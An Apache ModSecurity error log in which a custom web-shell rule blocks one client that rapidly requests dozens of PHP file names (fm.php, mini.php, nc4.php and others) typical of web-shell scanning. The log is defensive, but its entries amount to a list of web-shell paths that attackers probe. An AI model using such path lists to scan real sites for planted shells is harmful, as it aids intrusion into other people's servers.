[Thu Dec 18 21:59:55.098765 2025] [:error] [pid 23556:tid 23575] [client 4.190.217.214:8956] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buy.php"] [unique_id "aUQI2xnmLlk3u5yt9kH0dQAAAA8"]
[Thu Dec 18 21:59:55.781007 2025] [:error] [pid 23645:tid 23656] [client 4.190.217.214:8903] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aUQI2zf_Rx0Y0ao_QJhoZQAAAIk"]
[Thu Dec 18 21:59:56.155537 2025] [:error] [pid 12035:tid 12063] [client 4.190.217.214:9073] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aUQI3LcVHrNSHjCo-0qhLAAAAhQ"]
[Thu Dec 18 21:59:56.901836 2025] [:error] [pid 24433:tid 24439] [client 4.190.217.214:9042] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aUQI3J4pN9ycmipm8Tjj-QAAAQM"]
[Thu Dec 18 21:59:57.473715 2025] [:error] [pid 23556:tid 23572] [client 4.190.217.214:9138] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aUQI3RnmLlk3u5yt9kH0ewAAAAw"]
[Thu Dec 18 21:59:58.534312 2025] [:error] [pid 23558:tid 23638] [client 4.190.217.214:8977] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "aUQI3uHam9NbgPQa9uYyHgAAANc"]
[Thu Dec 18 21:59:59.457082 2025] [:error] [pid 23558:tid 23635] [client 4.190.217.214:8946] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "aUQI3-Ham9NbgPQa9uYyIAAAANQ"]
[Thu Dec 18 21:59:59.813001 2025] [:error] [pid 23558:tid 23629] [client 4.190.217.214:9023] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "aUQI3-Ham9NbgPQa9uYyIQAAAM4"]
[Thu Dec 18 22:00:00.151541 2025] [:error] [pid 23558:tid 23627] [client 4.190.217.214:8982] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "aUQI4OHam9NbgPQa9uYyIwAAAMw"]
[Thu Dec 18 22:00:01.157945 2025] [:error] [pid 12035:tid 12049] [client 4.190.217.214:8965] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo.php"] [unique_id "aUQI4bcVHrNSHjCo-0qhMgAAAgc"]
[Thu Dec 18 22:00:01.847369 2025] [:error] [pid 23558:tid 23639] [client 4.190.217.214:8909] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo.php"] [unique_id "aUQI4eHam9NbgPQa9uYyLQAAANg"]
[Thu Dec 18 22:00:02.404665 2025] [:error] [pid 23558:tid 23618] [client 4.190.217.214:9011] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo.php"] [unique_id "aUQI4uHam9NbgPQa9uYyLgAAAMM"]
[Thu Dec 18 22:00:02.966335 2025] [:error] [pid 12239:tid 12252] [client 4.190.217.214:9055] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo.php"] [unique_id "aUQI4tNnXxfGIuWO6aknwgAAAog"]
[Thu Dec 18 22:00:03.397936 2025] [:error] [pid 12035:tid 12044] [client 4.190.217.214:8899] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dlu.php"] [unique_id "aUQI47cVHrNSHjCo-0qhOAAAAgI"]
[Thu Dec 18 22:00:03.846063 2025] [:error] [pid 12035:tid 12066] [client 4.190.217.214:9145] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dlu.php"] [unique_id "aUQI47cVHrNSHjCo-0qhOQAAAhc"]
[Thu Dec 18 22:00:05.048950 2025] [:error] [pid 25357:tid 25374] [client 4.190.217.214:8986] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dlu.php"] [unique_id "aUQI5YaT7bsEXnJVfJd2YQAAAc8"]
[Thu Dec 18 22:00:05.894367 2025] [:error] [pid 12239:tid 12247] [client 4.190.217.214:9040] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dlu.php"] [unique_id "aUQI5dNnXxfGIuWO6aknwwAAAoM"]
[Thu Dec 18 22:00:06.544757 2025] [:error] [pid 24433:tid 24452] [client 4.190.217.214:9054] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rk2.php"] [unique_id "aUQI5p4pN9ycmipm8TjkBQAAARA"]
[Thu Dec 18 22:00:10.892730 2025] [:error] [pid 12035:tid 12043] [client 4.190.217.214:8928] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/des.php"] [unique_id "aUQI6rcVHrNSHjCo-0qhSQAAAgE"]
[Thu Dec 18 22:00:11.288381 2025] [:error] [pid 23645:tid 23668] [client 4.190.217.214:9046] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/des.php"] [unique_id "aUQI6zf_Rx0Y0ao_QJhocAAAAJU"]
[Thu Dec 18 22:00:11.572822 2025] [:error] [pid 25357:tid 25370] [client 4.190.217.214:9087] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/des.php"] [unique_id "aUQI64aT7bsEXnJVfJd2ZgAAAcs"]
[Thu Dec 18 22:00:12.075105 2025] [:error] [pid 23645:tid 23658] [client 4.190.217.214:8971] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/des.php"] [unique_id "aUQI7Df_Rx0Y0ao_QJhocgAAAIs"]
[Thu Dec 18 22:00:12.418247 2025] [:error] [pid 24958:tid 24969] [client 4.190.217.214:8912] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ant.php"] [unique_id "aUQI7MkDOrUkd0wNm2HWVwAAAYg"]
[Thu Dec 18 22:00:12.939635 2025] [:error] [pid 23556:tid 23566] [client 4.190.217.214:9043] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ant.php"] [unique_id "aUQI7BnmLlk3u5yt9kH0jQAAAAY"]
[Thu Dec 18 22:00:13.392238 2025] [:error] [pid 12383:tid 12403] [client 4.190.217.214:9086] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ant.php"] [unique_id "aUQI7fdgllo9h1cyxGbP3AAAAtE"]
[Thu Dec 18 22:00:13.717832 2025] [:error] [pid 12383:tid 12389] [client 4.190.217.214:8981] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ant.php"] [unique_id "aUQI7fdgllo9h1cyxGbP3QAAAsM"]
[Thu Dec 18 22:00:14.004404 2025] [:error] [pid 12239:tid 12256] [client 4.190.217.214:8993] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "aUQI7tNnXxfGIuWO6aknyAAAAow"]
[Thu Dec 18 22:00:14.320878 2025] [:error] [pid 25357:tid 25378] [client 4.190.217.214:8911] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "aUQI7oaT7bsEXnJVfJd2awAAAdM"]
[Thu Dec 18 22:00:14.719225 2025] [:error] [pid 25357:tid 25359] [client 4.190.217.214:8997] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "aUQI7oaT7bsEXnJVfJd2bAAAAcA"]
[Thu Dec 18 22:00:15.060166 2025] [:error] [pid 23645:tid 23653] [client 4.190.217.214:8980] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "aUQI7zf_Rx0Y0ao_QJhodgAAAIY"]
[Thu Dec 18 22:00:15.694061 2025] [:error] [pid 24958:tid 24985] [client 4.190.217.214:9016] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aUQI78kDOrUkd0wNm2HWXAAAAZg"]
[Thu Dec 18 22:00:16.671752 2025] [:error] [pid 12035:tid 12048] [client 4.190.217.214:9009] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aUQI8LcVHrNSHjCo-0qhSwAAAgY"]
[Thu Dec 18 22:00:17.481176 2025] [:error] [pid 12383:tid 12402] [client 4.190.217.214:9002] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aUQI8fdgllo9h1cyxGbP4QAAAtA"]
[Thu Dec 18 22:00:18.161135 2025] [:error] [pid 25357:tid 25362] [client 4.190.217.214:9014] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aUQI8oaT7bsEXnJVfJd2bgAAAcM"]
[Thu Dec 18 22:00:18.726411 2025] [:error] [pid 24958:tid 24977] [client 4.190.217.214:9065] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aUQI8skDOrUkd0wNm2HWXwAAAZA"]
[Thu Dec 18 22:00:19.070737 2025] [:error] [pid 23556:tid 23567] [client 4.190.217.214:8933] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aUQI8xnmLlk3u5yt9kH0jwAAAAc"]
[Thu Dec 18 22:00:19.597564 2025] [:error] [pid 24958:tid 24963] [client 4.190.217.214:9072] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aUQI88kDOrUkd0wNm2HWYAAAAYI"]
[Thu Dec 18 22:00:19.984707 2025] [:error] [pid 12383:tid 12399] [client 4.190.217.214:9064] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aUQI8_dgllo9h1cyxGbP5QAAAs0"]
[Thu Dec 18 22:00:20.378391 2025] [:error] [pid 12239:tid 12267] [client 4.190.217.214:9004] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aUQI9NNnXxfGIuWO6aknzAAAApc"]
[Thu Dec 18 22:00:20.676926 2025] [:error] [pid 24433:tid 24439] [client 4.190.217.214:9019] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aUQI9J4pN9ycmipm8TjkFwAAAQM"]
[Thu Dec 18 22:00:21.039964 2025] [:error] [pid 12239:tid 12252] [client 4.190.217.214:9076] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aUQI9dNnXxfGIuWO6aknzQAAAog"]
[Thu Dec 18 22:00:21.463205 2025] [:error] [pid 12035:tid 12044] [client 4.190.217.214:8922] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aUQI9bcVHrNSHjCo-0qhUAAAAgI"]
[Thu Dec 18 22:00:21.855892 2025] [:error] [pid 24433:tid 24444] [client 4.190.217.214:8934] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpc.php"] [unique_id "aUQI9Z4pN9ycmipm8TjkGwAAAQg"]
[Thu Dec 18 22:00:22.187717 2025] [:error] [pid 24542:tid 24558] [client 4.190.217.214:8914] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpc.php"] [unique_id "aUQI9ktQz4H2oS3NrDYsBgAAAU4"]
[Thu Dec 18 22:00:22.518193 2025] [:error] [pid 24433:tid 24455] [client 4.190.217.214:8923] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpc.php"] [unique_id "aUQI9p4pN9ycmipm8TjkHQAAARM"]
[Thu Dec 18 22:00:22.772010 2025] [:error] [pid 12239:tid 12254] [client 4.190.217.214:8926] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpc.php"] [unique_id "aUQI9tNnXxfGIuWO6akn0gAAAoo"]
[Thu Dec 18 22:00:23.038800 2025] [:error] [pid 23645:tid 23658] [client 4.190.217.214:9001] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aUQI9zf_Rx0Y0ao_QJhofAAAAIs"]
[Thu Dec 18 22:00:23.364433 2025] [:error] [pid 23645:tid 23663] [client 4.190.217.214:9000] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aUQI9zf_Rx0Y0ao_QJhofQAAAJA"]
[Thu Dec 18 22:00:23.727751 2025] [:error] [pid 24433:tid 24449] [client 4.190.217.214:9013] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aUQI954pN9ycmipm8TjkIQAAAQ0"]
[Thu Dec 18 22:00:24.106057 2025] [:error] [pid 12239:tid 12264] [client 4.190.217.214:9008] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aUQI-NNnXxfGIuWO6akn1AAAApQ"]
[Thu Dec 18 22:00:24.709232 2025] [:error] [pid 24542:tid 24568] [client 4.190.217.214:8835] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mlex.php"] [unique_id "aUQI-EtQz4H2oS3NrDYsDAAAAVg"]
[Thu Dec 18 22:00:25.368747 2025] [:error] [pid 12239:tid 12256] [client 4.190.217.214:8994] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mlex.php"] [unique_id "aUQI-dNnXxfGIuWO6akn1wAAAow"]
[Thu Dec 18 22:00:26.172646 2025] [:error] [pid 24433:tid 24456] [client 4.190.217.214:8944] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mlex.php"] [unique_id "aUQI-p4pN9ycmipm8TjkJAAAARQ"]
[Thu Dec 18 22:00:26.599911 2025] [:error] [pid 24542:tid 24559] [client 4.190.217.214:9007] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mlex.php"] [unique_id "aUQI-ktQz4H2oS3NrDYsEAAAAU8"]
[Thu Dec 18 22:00:27.008431 2025] [:error] [pid 24542:tid 24550] [client 4.190.217.214:9066] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "aUQI-0tQz4H2oS3NrDYsEQAAAUY"]
[Thu Dec 18 22:00:27.371190 2025] [:error] [pid 24542:tid 24561] [client 4.190.217.214:9022] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "aUQI-0tQz4H2oS3NrDYsEwAAAVE"]
